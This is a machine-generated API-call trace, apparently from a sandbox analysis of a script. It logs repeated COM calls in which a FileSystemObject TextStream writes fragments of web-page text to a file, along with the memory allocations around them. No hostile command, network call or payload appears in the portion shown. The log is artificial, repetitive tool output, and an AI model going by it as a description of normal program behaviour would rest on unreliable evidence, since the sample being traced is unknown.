wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.336] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.336] SysReleaseString () returned 0x1 [0148.336] CoTaskMemFree (pv=0x249c87616d0) [0148.336] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.336] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.337] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.337] SysAddRefString () returned 0x0 [0148.337] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.337] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.337] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.337] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8755f48, pBstrHelpFile=0x249c8758f60*="飰졵ɉ") returned 0x0 [0148.337] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ef308, pBstrHelpFile=0x249c8758f60*="飰졵ɉ") returned 0x0 [0148.337] malloc (_Size=0x8) returned 0x249c884aa00 [0148.337] malloc (_Size=0xae) returned 0x249ca4d5de0 [0148.337] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x57, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 86 [0148.337] malloc (_Size=0xe8) returned 0x249ca4d5ea0 [0148.337] _snwprintf_s (in: _DstBuf=0x249ca4d5ea0, _DstSizeInWords=0x74, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.337] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x74, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _MaxCount=0x56 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 0x0 [0148.337] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _SizeInWords=0x74, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.337] wcsncpy_s (in: _Destination=0x249ca4d3e80, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.337] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.338] free (_Block=0x249ca4d5de0) [0148.338] free (_Block=0x249c884aa00) [0148.338] free (_Block=0x249ca4d5ea0) [0148.338] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.338] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.338] SysReleaseString () returned 0x1 [0148.338] CoTaskMemFree (pv=0x249c8761b80) [0148.338] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.338] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.338] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.338] SysAddRefString () returned 0x0 [0148.338] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.338] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.339] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.339] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ef308, pBstrHelpFile=0x249c8758f60*="ꓰ졵ɉ") returned 0x0 [0148.339] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8756f88, pBstrHelpFile=0x249c8758f60*="ꓰ졵ɉ") returned 0x0 [0148.339] malloc (_Size=0x8) returned 0x249c884aa00 [0148.339] malloc (_Size=0xd0) returned 0x249ca4d5de0 [0148.339] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x68, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 103 [0148.339] malloc (_Size=0x10a) returned 0x249c884ec50 [0148.339] _snwprintf_s (in: _DstBuf=0x249c884ec50, _DstSizeInWords=0x85, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.339] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x85, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _MaxCount=0x67 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 0x0 [0148.339] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _SizeInWords=0x85, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.339] wcsncpy_s (in: _Destination=0x249ca4d3f62, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.339] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.339] free (_Block=0x249ca4d5de0) [0148.339] free (_Block=0x249c884aa00) [0148.339] free (_Block=0x249c884ec50) [0148.340] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.340] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.340] SysReleaseString () returned 0x1 [0148.340] CoTaskMemFree (pv=0x249c87614f0) [0148.340] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.340] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.340] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.340] SysAddRefString () returned 0x0 [0148.341] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.341] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.341] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.341] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8756f88, pBstrHelpFile=0x249c8758f60*="ꎰ졵ɉ") returned 0x0 [0148.341] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86eedc8, pBstrHelpFile=0x249c8758f60*="ꎰ졵ɉ") returned 0x0 [0148.341] malloc (_Size=0x8) returned 0x249c884aa00 [0148.341] malloc (_Size=0x14) returned 0x249c884aaa0 [0148.341] _snwprintf_s (in: _DstBuf=0x249c884aaa0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.341] malloc (_Size=0x4e) returned 0x249c884a540 [0148.341] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.341] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.341] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.341] wcsncpy_s (in: _Destination=0x249ca4d4066, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.341] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.341] free (_Block=0x249c884aaa0) [0148.341] free (_Block=0x249c884aa00) [0148.341] free (_Block=0x249c884a540) [0148.342] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.342] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.342] SysReleaseString () returned 0x1 [0148.342] CoTaskMemFree (pv=0x249c8761b80) [0148.342] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.342] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.342] CoTaskMemAlloc (cb=0x28) returned 0x249c87617f0 [0148.342] SysAddRefString () returned 0x0 [0148.342] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.343] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.343] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.343] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86eedc8, pBstrHelpFile=0x249c8758f60*="ꔰ졵ɉ") returned 0x0 [0148.343] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ee648, pBstrHelpFile=0x249c8758f60*="ꔰ졵ɉ") returned 0x0 [0148.343] malloc (_Size=0x8) returned 0x249c884aa00 [0148.343] malloc (_Size=0xb8) returned 0x249ca4d5de0 [0148.343] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.343] malloc (_Size=0xf2) returned 0x249ca4d5ea0 [0148.343] _snwprintf_s (in: _DstBuf=0x249ca4d5ea0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.343] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.343] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.343] wcsncpy_s (in: _Destination=0x249ca4d40ae, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.343] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.343] free (_Block=0x249ca4d5de0) [0148.343] free (_Block=0x249c884aa00) [0148.343] free (_Block=0x249ca4d5ea0) [0148.343] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.344] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.344] SysReleaseString () returned 0x1 [0148.344] CoTaskMemFree (pv=0x249c87617f0) [0148.344] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.344] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.344] CoTaskMemAlloc (cb=0x28) returned 0x249c8761700 [0148.344] SysAddRefString () returned 0x0 [0148.344] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.344] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.344] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.344] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ee648, pBstrHelpFile=0x249c8758f60*="鼰졵ɉ") returned 0x0 [0148.344] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87573e8, pBstrHelpFile=0x249c8758f60*="鼰졵ɉ") returned 0x0 [0148.344] malloc (_Size=0x8) returned 0x249c884aa00 [0148.344] malloc (_Size=0xb8) returned 0x249ca4d5de0 [0148.344] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.344] malloc (_Size=0xf2) returned 0x249ca4d5ea0 [0148.344] _snwprintf_s (in: _DstBuf=0x249ca4d5ea0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.345] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. 